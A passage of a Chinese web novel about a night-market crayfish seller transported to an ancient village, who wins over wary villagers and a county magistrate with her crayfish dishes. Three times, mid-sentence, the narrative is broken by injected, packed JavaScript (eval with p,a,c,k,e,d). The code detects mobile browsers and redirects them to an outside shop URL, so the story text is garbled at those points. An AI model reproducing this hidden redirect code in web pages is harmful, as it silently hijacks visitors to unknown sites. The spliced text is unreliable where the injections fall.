《虾胡闹也能成为古代顶流》 1. 穿越遇水虫 乔穗是被饿醒的。 入目是简陋的茅草屋顶，房梁上还挂着几处蜘蛛网，陌生的环境让她下意识吸了口气，一股潮乎乎的霉味从她的鼻尖传来，让她不禁皱起了眉头，动了动，感受到身上盖了一层被子，硬邦邦的，好像还有一股子馊味。 她撑着胳膊坐起来，无数不属于自己的记忆瞬间涌进了她的脑子，大量的信息不仅把她搅得头晕眼花，还撑的她有些头痛。 乔穗坐在那缓了好一阵子，终于理清了脑子里的脉络。 原来这具身体的原主人也叫乔穗，是江溪村的孤女，爹娘早逝，只留下她和年迈的祖母相依为命，祖孙俩就这么守着一间茅草屋和几分薄田过了十五年。 直到半月前祖母离世，她伤心欲绝加上淋了一场大雨，数日间高烧不退，竟然直接一命呜呼，便宜了她这个二十一世纪的夜市小龙虾摊主。 乔穗听着自己咕咕叫的肚子，欲哭无泪。 她原本觉得自己今天的运气特别好，两个小时不到就卖光了所有的小龙虾，正美滋滋的准备回家大吃一顿，谁成想，回家路上为了躲一辆闯红灯的货车，一不小心摔进了路边的排水沟，再睁开眼睛就到了这。 乔穗心想：电视剧里的穿越都是非富即贵，怎么轮到自己身上就变样了，早知道自己穿越会这么惨，她宁愿在夜市里跟客人砍价到半夜，也不想来到这吃不饱穿不暖的破地方啊。 她挤出身上所有的力气挣扎着下床，踩着一双不知道缝补过多少次的布鞋，在屋里翻箱倒柜，试图找出一些能填饱肚子的东西。 她翻遍了所有角落，只有米缸里还剩下没被老鼠偷走的几粒米，灶台上有几个落了灰的碗碟，墙角倒是堆着一些野菜，只不过快烂成泥了。 “天要亡我啊。” 乔穗两腿一摊，靠在门槛上，望着门外潺潺流淌的溪水，肚子叫得更厉害了。 溪水清澈见底，能看到里面游来游去的小鱼，还有不少背着硬壳、举着大钳子的家伙，扎着堆在石头缝里爬来爬去。 乔穗眼睛一亮，那不是小龙虾吗？ 这玩意在二十一世纪，可是夜市里的抢手货，这么多年，她靠着卖小龙虾，已经攒下了买房的首付。 可是在原主的记忆里，村里人都管这东西叫“水虫”，说它不仅长得丑还有毒，还专门吃腐烂的东西，导致大家看到它就躲得远远的，更别说抓来吃了。 什么水虫，明明是小龙虾嘛，古人真是不懂美味，太好了，这下不用担心饿肚子了。 于是，乔穗在屋里找了个破竹筐，又掰了根趁手的树枝，带着家伙什踉踉跄跄的往小溪边跑去。 抓小龙虾这活她熟，在夜市摆摊，每天都要处理几十斤。 她眼疾手快，瞅准一只就用树枝压住它的大钳子，伸手一抓，扔进了竹筐里，没一会儿功夫，就抓了不少，看起来有个两三斤。 她在溪边找了块锋利的石头，把小龙虾的虾线一个个挑出来，又用溪水冲了好几遍，确认冲洗干净后，背着她的战果回到了茅草屋。 乔穗翻遍了灶台和上面的柜子，找到了一小撮盐、几颗干辣椒，还有半块生姜，调料是少了点，但总比什么都没有要好。 接着，她又去外边捡了些生火用的干树枝，往锅里倒了点水，把生姜片和干辣椒丢进去，等水烧开后，再倒进小龙虾，撒上盐，盖上锅盖焖煮。 树枝在灶坑里烧的噼啪作响，不一会儿，一股浓郁的香味便顺着锅盖的缝隙里飘了出来，香味扑鼻充满了整个屋子，乔穗本来就饿，闻到香味更是馋的直咽口水。 她掀开锅盖，香气随着水蒸气扑面而来，瞬间充满了乔穗的整个鼻腔，水汽散去，原本青灰色的小龙虾现在已经变成了漂亮的红色，锅里的汤汁正咕嘟咕嘟地冒着泡，别提有多诱人了。 乔穗顾不上烫，急忙从锅里捞出了一只，剥掉虾壳，迫不及待的将虾肉塞进了嘴里。 麻辣鲜香的小龙虾味瞬间在舌尖炸开，充斥着她的味蕾，满足的让她差点哭出来。 一炷香后，乔穗打了个饱嗝，看着剩下的大半锅小龙虾，心里突然冒出了一个想法：这么好吃的东西，要是拿去卖钱，岂不是能解决温饱问题？总不能每天都靠着吃小龙虾活着。 乔穗说干就干。 她找了个干净的竹篮，把剩余的小龙虾了装进去，又找了块木板，用炭笔歪歪扭扭地写了“麻辣小龙虾，一文钱两只”几个字。 准备好一切后，乔穗背着装满小龙虾的竹篮，奔着村口的大柳树下走去。 那是进村的必经之路，平日里总有人在那摆摊，还有不少村民喜欢在树底下聊天，人流量大。 果然，没一会儿功夫，就围过来几个村民。 “穗丫头，你这篮子里装的啥玩意儿？”过来的是隔壁的王婶，说着还踮着脚往竹篮里瞅了瞅，看清楚连忙往后退了两步，“这不是水虫吗？你咋把这东西摆出来卖？” 王婶是村子里出了名的嗓门大，她一嚷嚷，周围的人都过来凑热闹，七嘴八舌的议论起来。 “可不是水虫嘛！这东西专吃烂掉的东西，看着就瘆人！” “这丫头怎么把这玩意拿出来卖？” “这丫头莫不是饿糊涂了？这玩意儿能吃？吃了怕是要拉肚子！” “张大爷家的狗上次叼了只水虫，吃了就吐了，这东西指定有毒！” 听着村民们的议论，乔穗却丝毫没慌。 她在夜市摆摊多年，什么样的质疑没听过？什么样的客人没遇到过？ 她吸了口气，将腰板挺的笔直，指着篮子里的小龙虾，大声道：“这不是水虫，这叫小龙虾，不仅没毒，还好吃得很！我刚才就吃了一大碗，你们看我现在好好的！” 说着还拍了拍胸脯，证明自己没中毒。 可村民们根本不信，一个拄着拐杖的大爷连连摆手：“你这女娃子，怕是烧糊涂了！这水虫有毒，快拿回去扔了，别在这害人！” “就是就是，赶紧拿回去，别挡着路！” 乔穗知道，要让这些保守的村民接受小龙虾，并不是一件容易的事。 她咬咬牙，从竹篮里捞起一只小龙虾，大声道：“谁愿意尝尝？不要钱！要是出了什么问题，你们可以抓我去报官！” 话一出，周围静悄悄的，村民们你一眼我一眼的互相看着，却没有一个人吭声。 大家看着红彤彤的“水虫”，脸上充满了嫌弃和忌惮，仿佛那是什么洪水猛兽。 乔穗心里有点发凉，难道这生意真的做不成？ 就在她一筹莫展的时候，一个清朗的声音从人群外响起，“这是什么吃食？闻着倒是挺香的。” 乔穗抬头一看，只见人群外一个身穿青衫、手拿折扇的年轻男子站在那里，身姿挺拔，面容俊朗，眉宇间还带着一股温和的书卷气，瞧着气度不凡。 男子的身后还跟着一个随从模样的人，眼神锐利，警惕地打量着四周。 见到男子，刚言语犀利的村民们纷纷变了脸色，连忙行礼：“见过沈大人！” 沈大人？原主的记忆里，江溪县的县令好像就姓沈，名叫沈宴之，为人清正廉洁，深受一方百姓爱戴。 他怎么会来村口？ 沈宴之摆手，示意村民们不必多礼。 他穿过人群，走到乔穗的摊位前，弯腰闻了闻，笑着问道：“姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103137|195764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，你这卖的是什么？可否让我尝尝？” 乔穗愣了一下，随即反应过来，这可是个好机会！ 她连忙点头：“当然可以，我现在就给您剥一个！” 她从篮子里挑了一只个头大一点的小龙虾，麻利地剥掉虾壳，将鲜嫩雪白的虾肉递到沈宴之面前。 周围的村民们见状，纷纷出声劝阻：“沈大人，使不得啊！这是水虫，有毒啊！” “是啊大人，您身子金贵，可不能吃这玩意儿！” 沈宴之却不以为意，他接过乔穗递来的虾肉，放进嘴里，细细品尝起来。 见眼前人吃了进去，乔穗的心提到了嗓子眼，盯着他的脸，垂着的手不自觉攥紧了衣摆。 一秒，两秒，三秒。 沈宴之眼睛一亮，抬起头赞叹道：“味道竟如此绝妙！这东西，叫什么名字？” 乔穗松了口气，笑着说：“回大人，这叫小龙虾。” 沈宴之点了点头，嘴里念叨着:“小龙虾......” 又问道：“一文钱两只？给我来二十只。” 说着掏出十文钱，递给乔穗。 乔穗脸上一喜，接过钱后挑了二十只卖相好的小龙虾，用油纸包起来，递给了沈宴之身后的随从。 村民们都傻了眼，像是见了鬼一样，一个个目瞪口呆。 小声议论着：“县令大人居然真的吃了水虫，还说这东西好吃？不会吃出什么问题吧？” 沈宴之将这些议论听到耳里，非但没有露出不悦之色，反而对乔穗笑了笑：“姑娘好手艺，改日我还来光顾。” 说完，便带着随从，慢悠悠地离开了。 看着沈宴之的背影，乔穗心里乐开了花。 自己这是什么好运气，第一次摆摊就碰上了县令大人，有了沈宴之这波代言，她的小龙虾，说不定真的能卖出去了！ 可她转头看向周围的村民时，却发现大家还是站在原地满脸犹豫，没有一个人敢掏钱买。 王婶用手挡着嘴，和旁边人小声嘀咕：“沈大人吃了没事，说不定是大人身子骨好……” 张大爷也跟着点头：“是啊，咱们小老百姓，可不敢冒这个险。” 乔穗心里刚泛起的那点小得意，瞬间凉了半截。 她看着竹篮里红彤彤的小龙虾，又看了看沈宴之离去的方向，心里犯起了嘀咕。 这生意，到底能不能成？ 那位沈大人说改日再来，是客套话，还是真的会来？ 要是没人买，她总不能自己天天吃吧？ 天色渐渐暗了下来，围观的村民都各自回家去了。 乔穗站在大柳树下，看着离去的村民们，咬了咬嘴唇。 她不能就这么放弃。 她能在竞争激烈的二十一世纪把小龙虾生意做得风生水起，在古代，她也一定能。 只是，到底该用什么法子，才能让这些思想保守的村民放下偏见，心甘情愿地掏钱买她的小龙虾呢？ 乔穗皱着眉头，陷入了沉思。 另一边，回到府里的沈宴之，正跟随从说着话。 “这姑娘倒是有意思，竟能把人人避之不及的水虫，做成这般美味。”沈宴之轻摇折扇，嘴角带着一丝温和的笑意。 随从还是有些担心，低声道：“大人，这水虫真的无毒吗？要不要让医官查验一番？” 沈宴之收起折扇，若有所思地看着江溪村的方向，缓缓道：“是该查验一番。若是真的无毒，倒也是件好事。” 晚风拂过，带着溪水的清凉。 乔穗的小龙虾生意才刚刚开始，而前方，似乎还有无数的难题，等着她去解决。 2. 为虾证清白 乔穗回到家，并没有因为今天的打击而垂头丧气。 刚开始在夜市摆摊那几年，自己什么冷眼没受过，有人嫌贵，有人嫌味道怪，还有人故意找茬，说她做的小龙虾吃了拉肚子，她都能耐着性子凭本事一一化解。 现在这点场面，根本算不得什么。 乔穗蹲在竹篮面前，手伸进去拿了一只，红彤彤的小龙虾上面还沾着点汤汁，光是拿起来，香味就一直往鼻子里钻。 她盯着小龙虾，琢磨着问题的关键在哪。 村民们思想保守，一时接受不了新鲜的东西很正常，不过，他们连山里的野菜都吃的进去，又怎么会嫌小龙虾不好吃，归根结底，就是怕东西有毒。 大家今天是看到沈宴之吃了不假，可沈大人是什么人，是县令，身子金贵，说不定还百毒不侵。 普通的小老百姓哪敢赌？ 得想个权威的办法让他们相信这玩意儿真没毒才行。 第二天一早，乔穗带着自己抓小龙虾的家伙什又去了小溪边。 虽然自己暂时没有想到什么好的办法让村民接受，但生意还是要照做的，万一今天还有像沈宴之那样识货并且敢于尝试的人呢。 一个时辰后，她将自己抓的小龙虾全部剔除虾线，清洗干净，准备回去焖煮。 刚背上竹篮，就看到几个官差模样的人朝这边走了过来，为首的正是昨天跟在沈宴之身旁的随从。 她走上前去，笑着问：“几位大哥来这是要做什么？” 随从也认出了她，“原来是姑娘，我家大人派我来抓几只水虫，让医官查验是否无毒。” 乔穗心里咯噔一下，而后像是想到了什么猛然抬头，眼睛瞬间亮了起来。 还有什么比官府的公文更让人信服的呢？ 这可是个绝佳的机会，与其等医官查验后再张贴告示，不如把场面闹大，当着全村人的面验明正身。 她背着竹篮，深吸一口气，“我能见沈大人一面吗？” “这......”随从有些为难。 “我有要紧的话要和沈大人说，是关于小龙虾的。”乔穗向前迈了一步，言辞恳切。 随从闻言眼神微动，昨日大人尝过这个叫小龙虾的东西，回府后可谓是赞不绝口，言语间甚至谈到，若这水虫当真无毒，或许能给江溪村的百姓增加一条营生的门路。 随从沉吟片刻，松口说：“那你稍后便同我们一同回去罢。” 乔穗松了口气，连忙道谢：“多谢大哥！” 她背着竹篮跟在随从的身后，路过村东头的小溪边时看到几个孩子蹲在旁边，对着石头缝里的小龙虾指指点点。 小龙虾在村子里不算稀奇，暂时不需要考虑缺货的问题，现在缺的只是一个让大家能够放心吃放心买的理由。 走了半天，终于到了沈宴之处理公务的府衙。 随从让乔穗在门外候着，自己则是进去通传，没一会，随从便出来招手，“姑娘，随我来吧。” 进了门，乔穗不卑不亢的走上前，将竹篮放在一旁的地上，福了福身，“民女乔穗，见过沈大人。” 沈宴之抬手，声音温和的说：“免礼。你有什么要紧事不妨直说。” “听说大人要让医官查验小龙虾是否无毒，民女有个不情之请。”乔穗抬起头，眼神坦荡，“可否请医官大人当着乡亲们的面在村口大柳树下查验？也好让乡亲们放心。” 随从眉头一皱，刚想开口阻拦，沈宴之却摆了摆手，饶有兴致地看着她。 这姑娘看着瘦弱，行事却不像寻常村妇那般畏手畏脚，反而从她的眼神中看出了一股子韧劲和机灵劲。 他沉思片刻，点头道：“也好。此举既能辨明真伪，也能解了乡亲们的疑虑，就依你所言。” 乔穗心里松了口气，又福了福身：“谢大人成全。” 县令大人要在大柳树下查验“水虫”是否有毒的消息迅速传开，查验当天，乔穗早早等在树下，村民们围了一圈，都想看看这长着两个大钳子的怪物到底能不能吃。 巳时刚过，沈宴之带着医官和随从赶来，医官姓陈，是个头发花白的老者，背着药箱，神色严肃。 沈宴之坐在早就备好的椅子上，目光扫过中间架起的铁锅，看向站在一旁的乔穗，温声开口：“乔姑娘，你可以开始了。” 现场制作小龙虾是沈宴之要求的，他觉得，既然要在众人面前验明正身，索性直接来个当场制作，从第一步到最后一步都在村民们的眼前完成，会让此次验毒更有说服力。 乔穗穿着一身干净的粗布衣裳，不慌不忙的走上前，将调味料和挑好虾线、清洗干净的小龙虾按照步骤放入锅内。 盖上盖子后，她抬眼看向沈宴之，“大人稍等片刻，这小龙虾还需焖煮两刻钟才能食用。” 见她一副胸有成竹的样子，沈宴之微微颔首，看向她的眼神中多了几分赞许。 两刻钟的时间说长不长说短不短，围观的村民们从一开始的窃窃私语到后来忍不住抻长了脖子往锅盖缝里看。 终于，乔穗掀开了锅盖，浓郁的香气伴随着水蒸气瞬间发散开来，锅里的小龙虾红的透亮，看着就让人食欲大增。 她用木勺盛出了一只，剥去虾壳后递给陈医官，“医官大人，请您先查验。” “这就是你所说的小龙虾？” “正是。”乔穗上前一步，“民女已经挑去了虾线，洗净了泥沙，也煮得熟透，绝非生食。” 陈医官点点头，接着从药箱里取出银针，刺破虾肉，片刻后，银针取出，光亮如新，没有半点发黑的迹象。 “银针正常，无毒。”话音刚落，人群里就起了一阵小小的骚动。 王婶在里面踮着脚喊道：“陈医官，这会不会不准啊？不是说有些毒连银针都验不出来的！” 此话一出，人群里立马有人跟着附和，“是啊，是啊，怕是验不出来吧。” 陈医官抬头瞪了王婶一眼，王婶立马将脖子缩了回去，没有再吭声。 乔穗不慌不忙的开口道：“陈医官，银针只能验出部分毒物，不如您亲口尝一尝，民女已吃过许多，身体并无不适。” 这话一出，连沈宴之都有些意外，哪有主动让医官尝的？乔穗竟然如此自信，他越发觉得这个姑娘不像看起来这么简单。 陈医官闻言点了点头，乔穗立刻麻利地剥好一只小龙虾，将虾肉递到他面前。 陈医官接过来，放进嘴里细细咀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103138|195764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嚼，“肉质紧实，滋味鲜香，并无异味。”陈医官咽下虾肉，又摸了摸自己的脉搏，片刻后说道：“老夫脉象平稳，身体并无不适。此物确实无毒，煮熟之后，大可放心食用。” 陈医官的话一出，围观的人群瞬间炸开了锅。 “真没毒啊？沈大人吃了没事，陈医官吃了也没事，这玩意儿真能吃？” “陈医官的话还有假？他可是县里的老医官了，医术高明得很！” “早知道这东西能吃，俺以前在溪边见着那么多，都白白错过了！” 乔穗见状，大声吆喝：“乡亲们，这小龙虾不仅无毒，还好吃得很！一文钱两只，大家买回去尝尝鲜，不好吃不要钱！” 沈宴之坐在一旁，看着她有条不紊地应对着，嘴角扬起一抹笑意。 他起身上前，对众人说道：“本官已经尝过，滋味绝佳。陈医官也验明无毒，诸位不必疑虑，可放心食用。若是觉得好吃，不妨多买些，也算是帮衬帮衬这位姑娘。” 县令大人亲自站台，分量不是一般的重。 王婶第一个挤了上来，手里攥着两文钱嚷嚷道：“穗丫头，给俺来四只！俺回家尝尝！” 一瞬间，原本冷清的摊位前被围得水泄不通。 村民们你一言我一语，争着抢着将手里的铜钱递给乔穗，嚷嚷着要买小龙虾。 乔穗手脚麻利地装虾收钱，嘴里还不忘应和：“都有都有，别急！明天我多做一些，保证大家都能买到！” 从找沈宴之的那刻起，乔穗的心里就早有盘算，只要他点头，当众查验不仅能解除村民的顾虑，还能借官府的势，给小龙虾打一波名气。 这可比她自己吆喝管用多了。 而且她特意强调了煮熟才无毒，既保证了大家的安全，也堵住了日后可能出会出现的问题。 沈宴之看着她从容不迫的样子，眼底的笑意更浓了。 随从在他身边低声道：“大人，这姑娘是个聪明人，知道借势而为。” “嗯。”沈宴之颔首，“小小年纪，却有这般胆识和头脑，难得。” 小龙虾很快就卖完了，乔穗心里乐开了花，脸上的表情却没有太大的变化，笑着对大家说：“多谢乡亲们捧场，明天我还在这里摆摊，希望大家多多支持！” 村民们意犹未尽地散去，乔穗收拾好摊位，走到沈宴之面前，郑重地行了个礼：“今日之事，多谢大人成全。” 沈宴之看着她，声音温和的说道：“姑娘靠着自己的本事赚钱，无需谢我。” 乔穗笑着说：“现场制作是大人提出来的，大人比我更了解乡亲们，这谢大人收得。” 沈宴之轻摇折扇，嘴角扬起一模温和地笑。 太阳渐渐落下，露出天边的晚霞。 乔穗背着空竹篮，走在回家的路上，她摸了摸口袋里沉甸甸的铜钱，嘴角的的笑意不自觉加深。 面对天崩开局，自己硬是凭借过硬的手艺，靠着自己的脑子和胆识，在这个时代生存了下来。 至于沈宴之，今日之恩她会记在心里。 她抬头看了看天，月色正好。 前路未知，或许还有磨难坎坷，但乔穗不怕，因为属于她的日子，才刚刚开始。 3. 蒜蓉小龙虾 接下来的三日，乔穗的小龙虾成为了最受村民们欢迎的吃食，村民们的热情和支持让她每天起早贪黑的忙活。 当众验虾算是彻底打消了村民们的顾虑。 沈大人亲口夸赞，陈医官当众验毒，这两样加起来，比她站在那说一百句都管用。 天刚蒙蒙亮，村里的鸡叫声就开始此起彼伏地响起来。 乔穗利落的穿好衣服，摸黑起了床。 起来的第一件事就是先去灶房里生火，再把昨晚处理好的小龙虾过了遍清水，然后分批次下锅焖煮入味。 两刻钟后，她将煮好的小龙虾一只一只的捞出来，三五只的放一起用油纸裹住，放进竹篮里。 收拾好后，她将竹篮背在身后，脚步轻快地往村口大柳树下赶。 清晨的风带着一丝凉气，吹散了乔穗残余的困倦。 赶到大柳树下的时候，树下已经站了好几个人，都是昨天没买着，今天特意起早蹲的。 见乔穗来，几人立马围了上来，七嘴八舌地和她打招呼。 “穗丫头，可算把你等来了！这几天俺去闺女家了，愣是没尝着鲜，今个可得给俺留两只！”说话的是村东头的李大爷，笑呵呵的。 “我也要我也要！”旁边一个半大孩子蹦蹦跳跳地喊着，被他娘伸手拍了一下后脑勺：“馋猫！穗姐姐还没支好摊子呢，急什么！” 乔穗笑出了声，连忙应道：“都有都有，今天备得多，保证大家都能买着！” 她手脚麻利地把竹篮摆好，掀开盖子，一股香味瞬间涌了出来。 李大爷率先递过铜板，乔穗给他装了五只，他接过去剥了一只塞进嘴里，吧唧吧唧嘴，“味儿不错，就是少了点热乎劲，吃着不过瘾。” 旁边的王婶也跟着点头：“可不是嘛！这几天买的都比不上当场做的那天好吃。” 其他村民也纷纷附和，都说凉了影响口感。 乔穗把大家的话记在心里，笑着应道：“乡亲们说得是，是我考虑不周，我这小龙虾是在家煮好的，走了一路就凉了，明天我就在这支个灶，凉了就给大伙儿热一热，保证吃到嘴里都是热乎的！” 村民们听了她的话，都点头称赞，夸她机灵。 乔穗一边收钱，一边和大伙儿搭话，不一会儿，小龙虾就见了底。 收摊的时候，她心里还琢磨着，明天除了带铁锅，还得再备点干柴，省得现找耽误功夫。 回到家，乔穗刚放下东西，就瞥见灶房角落里放着半篮子大蒜，正纳闷这蒜是哪来的，门外就传来了王婶爽朗的声音，“穗丫头啊，你瞧见我给你放的蒜头没有啊，你不在家我就给你放灶房了。” 乔穗迎了出去，笑着说：“看到啦王婶，我正纳闷是哪来的呢，您就来了。” “老吃你做的小龙虾，虽说花了钱，但还是想着给你送点什么，这不，新挖的蒜头，我瞧着不错就给你送来了！” “真是太谢谢您了王婶！” “成！我灶上还生着火呢，你忙着穗丫头，我就先走了。” 送走了王婶，乔穗看着半篮子大蒜心里一动，前几天是材料有限只能做辣的，但村子里还有老人和孩子，未必都能吃辣，要是做个蒜蓉的，不辣还香，肯定也能受欢迎。 乔穗当即就拿了几头大蒜捣成蒜泥，又挑了几只小龙虾下锅焖煮，煮熟一尝，确实不错。 她满意地点点头，决定明天把这些大蒜带上，趁着带铁锅的机会，推出新口味的小龙虾。 第二天，乔穗比往日起的更早。 她把小龙虾在家煮好装进竹篮，又把铁锅和一捆干柴绑在扁担上，再把半篮子大蒜小心地搁在旁边，挑着担子往村口赶。 大柳树下早就聚了不少人。 见乔穗真把铁锅带来了，都笑着起哄：“穗丫头果然说话算话！这下能吃着热乎的小龙虾了！” 乔穗笑应着，手脚麻利地架上铁锅，又在下面添了干柴生火。 等火烧起来，才把篮子里的小龙虾倒进锅里，浓郁的香辣味顺着风飘得老远，让路过的村民都忍不住停下脚步过来围观。 没一会工夫，锅前就围了不少人。 李大爷挤到最前头，递过铜板：“穗丫头，给俺装五只！今个能吃着热乎的了！” 李大爷接过装好的虾迫不及待的尝了一只，“这热乎的就是不一样！太香了！” 大家吃的津津有味的时候，村西的张奶奶问了一句：“穗丫头，你这小龙虾，就没个不辣的？俺家那老头子牙口不好，吃不了辣的，想吃点清淡的。” “是啊是啊！”人群里立马有人附和，“要是有不辣的就好了，老人也能吃。” 乔穗心里一喜，正愁着怎么开口推新，没想到倒是有人先提了出来。 她扬声说道：“大伙儿别急！我今天不光带了铁锅，还备了大蒜，琢磨了个蒜蓉口味的，不仅不辣，还香的很！保准，老少皆宜！” 此话一出，人群里响起一阵叫好声，都催着乔穗赶紧煮来尝尝。 这时，人群后头忽然安静下来，吵闹的声音渐渐低了下去，不少人还下意识地往后退退，脸上露出恭敬的神色。 顺着众人的目光望去，只见沈宴之穿着一身素色的常服，腰间系着一块玉佩，缓步走了过来。 他没带随从，就一个人，不穿官服多了几分随和。 “见过沈大人！”众人纷纷躬身行礼。 沈宴之摆摆手，声音温和：“诸位不必多礼，本官只是路过，来尝尝乔姑娘的小龙虾。” 说着，便把目光落在乔穗身上，嘴角噙着一抹温和的笑意，“听说你会带锅来热虾，倒是有心了。不知今日可有什么新花样？” 真是想什么来什么。 沈宴之可是现成的“活招牌”，只要他说蒜蓉味的好吃，那村民们肯定都抢着买。 她擦了擦手上的水渍，笑着回：“回大人，民女正打算做蒜蓉味的，不辣。您要是不嫌弃，可以稍等片刻，民女煮好给您尝尝。” “好。”沈宴之应声，径直走到旁边的石头上坐了下来，饶有兴致地看着她忙活。 村民们见县令大人都在等着尝新，也不催着买香辣的了，都想看看这蒜蓉味的小龙虾到底是个什么做法。 乔穗先舀出锅里热好的香辣小龙虾，分给已经等了许久的几个村民，然后往锅里添了新水，又放了姜片去腥。 等水再次烧开，她把干净的小龙虾倒进去煮着。 接着，她把带来的大蒜捣成蒜泥，又加了少许盐和香油，调成蒜蓉酱。 这时候，锅里的小龙虾已经煮得泛红，乔穗把蒜蓉酱浇下去，用勺子搅了搅，让每只虾都充分裹上酱料，然后盖上锅盖，焖了半刻钟。 估摸着时间差不多了，她掀开锅盖，香味裹挟着水蒸气扑面而来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103139|195764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>红彤彤的小龙虾裹着金黄的蒜蓉，看着就让人食欲大动。 她挑了一只个最大最红的小龙虾，剥好后递到沈宴之面前：“大人，您尝尝。” 沈宴之接过来，放进嘴里慢慢咀嚼起来。 蒜蓉的鲜香和虾肉的清甜完美地融合在一起，没有了辣椒的霸道，反而更能凸显出小龙虾的鲜美。 他微微颔首，眼中多了一丝赞许，对众人说道：“味道确实不错，比香辣味的多了几分清爽。” 闻言，人群里立刻炸开了锅。 “沈大人都夸好，那肯定错不了！” “穗丫头，给俺来六只蒜蓉的！带回家给俺家老婆子尝尝！” “俺也要蒜蓉的！给俺家小孙子留着！” “俺两样都要！香辣的俺吃，蒜蓉的给俺爹娘！” 乔穗被围在中间，笑得合不拢嘴，还不忘应着：“别急别急，大伙都有！” 这一步算是走对了。 她心里盘算着，既然蒜蓉口味的大受欢迎，接下来还可以试试清蒸的，清蒸的做法简单，肯定也能讨老人孩子的喜欢。 沈宴之坐在石头上，看着她忙得团团转的样子，嘴角的笑意更深了。 他看着村民们你争我抢的热闹景象，又看了看乔穗那张被汗水浸湿却依旧带着笑意的脸，心里生出一种莫名的感觉。 这个姑娘，虽然出身乡野，身上却带着一股子不服输的聪明劲儿，就像这小龙虾，看着不起眼，却能凭独特的滋味，抓住所有人的胃。 他又坐了一会儿，便悄悄离开了。 临走前，他特意在石头上放了几文钱，不多不少，正好够买两只蒜蓉小龙虾。 乔穗忙得脚不沾地，直到竹篮里的小龙虾见了底，才歇了下来。 抬起头发现沈宴之已经走了，只剩下石头上的几文钱。 她走过去拿起石头上的钱，微不可察的点头，这沈宴之，真是个体恤民情的好官。 收拾好摊位，乔穗把铁锅和竹篮用扁挑起来，慢慢往家走。 路上，不少村民看见她和她打招呼，问她明天不会再做蒜蓉的，还有人问什么时候再研究其他的口味。 乔穗笑着应下，心里却开始盘算起来。 看来明天要多做些蒜蓉的，等大家吃腻了，再推出清蒸的。 不过问题也来了，溪里的小龙虾虽然多，但是架不住她天天这么捞，再加上她的生意越来越好，用不了多久，货肯定跟不上。 眼下她倒是没那么多心思想货源的事，当务之急是把蒜蓉小龙虾做的更出彩一些。 和二十一世纪不一样，这里没有那么多调料，她暂时只能用有限的调料做出不同口味的小龙虾，等生意稳定了，再增加一些其他口味。 另外，她还打算做一些试吃装，用荷叶包着，让路过的人都能尝一口，这样可以吸引更多的顾客。 走到家门口，乔穗放下东西，简单吃了晚饭，就把家里剩下的几只小龙虾拿了出来，又捣了满满一碗蒜泥，取出其中一半下锅油炸。 炸好之后，把两种蒜泥分别拌进煮好的小龙虾里，尝了尝，炸过的蒜泥带着一股焦香味，浇在小龙虾上果然更香，比白天做的还要好吃。 而且还可以给这版小龙虾起一个响亮的名字——黄金小龙虾。 她拍了拍手，满意的笑了笑。 明天，黄金小龙虾正式推出！ 4. 黄金小龙虾 天还没亮透，乔穗就已经醒了。 昨天琢磨出的黄金蒜泥小龙虾让她心里憋着一股劲，恨不得立刻就支上摊子让大家尝个新鲜。 她穿好衣裳，点了煤油灯，借着灯光走到灶房，脑子里全是红彤彤的小龙虾裹着金黄蒜泥的诱人样，感觉吸一下鼻子就能闻到炸蒜泥冒出来的焦香味了。 今天推出的黄金小龙虾，制作方法比香辣和普通蒜蓉的要麻烦一些，火候把控得格外仔细。 她把昨晚处理好的小龙虾倒进水盆里，里里外外的冲洗了三遍，确认清洗干净之后将水滤掉留在一旁备用。 然后她从墙角的篮子里，挑出一些圆润饱满的大蒜，一颗一颗的剥去外皮，留下雪白的蒜瓣。 接着把剥好的雪白的粒粒分明的蒜瓣剁成蒜泥，分成两份，一份做普通的蒜蓉小龙虾，另一份则油炸之后做黄金小龙虾。 乔穗往灶坑里添了些干柴，等火烧起来，热了锅之后，又往锅里倒了些菜籽油，这油也是王婶前天送来的，说是自家榨的，香得很。 王婶虽然嗓门大了些，但是为人朴实，也很仗义，自从乔穗的小龙虾验过无毒之后，她不仅经常来买小龙虾，还时不时给乔穗送来一些自己家做的其他东西。 油烧到六成热，乔穗将其中一份蒜泥倒了进去。 “滋啦——” 锅里的菜籽油伴随着蒜泥入锅的动作溅起了几滴，一股浓郁的蒜香味瞬间弥漫了整个灶房。 乔穗盯着锅里的蒜泥，手里拿着锅铲小心翼翼地搅动着，不敢有半点分心。 黄金小龙虾要想好吃，炸蒜泥这一步特别重要，炸久了容易糊，吃到嘴里还发苦，要是炸的时间短了，焦香味还出不来，吃到嘴里和普通的蒜蓉小龙虾又没有什么两样，所以炸蒜泥在时间的把控上尤为关键。 